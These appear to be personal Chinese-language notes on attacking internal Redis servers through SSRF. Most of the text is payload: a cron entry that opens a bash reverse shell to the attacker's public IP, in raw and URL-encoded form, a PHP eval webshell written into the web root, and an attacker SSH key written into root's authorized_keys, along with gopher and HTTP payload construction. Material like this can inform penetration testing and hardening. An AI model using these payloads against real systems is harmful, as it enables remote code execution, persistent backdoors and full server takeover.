SSRF打Redis
https://www.cnblogs.com/linuxsec/articles/11221756.html
https://www.cnblogs.com/-chenxs/p/11749367.html
1.探测端口
http://xxx.xxx.xx.xx/xx/xx.php?url=http://目标:6379
如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务, 原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。
redis常见的SSRF攻击方式:
- 写contrab计划任务反弹shell
- 绝对路径写webshell
- 写ssh公钥
1)反弹shell
只能Centos上使用
gopher和http协议都可
/var/spool/cron/root (Centos)、/var/spool/cron/crontabs/root(Ubuntu)、 /etc/crontab都是定时服务文件
路径为 /etc/crontab,写入的文件为test
redis是通过换行符来分隔每条命令
反弹shell的redis命令( 采用的bash反弹
test
set 1 "\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save
换行符为%0d%0a,
因为是get请求,所以要进行url编码
test%0D%0A%0D%0Aset%201%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F公网ip%2F监听端口%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A
在自己的公网上nc监听端口
payload:"http://"+ip+":"+port+命令url编码
2)webshell
redis命令
test
set 1 '<?php eval($_GET["a"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
payload:"gopher://"+ip+":"+port+"/_"+命令redis RESP协议的格式
用curl执行
3)ssh公钥
写入~/.ssh/authorized_keys
,不存在则需要创建
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save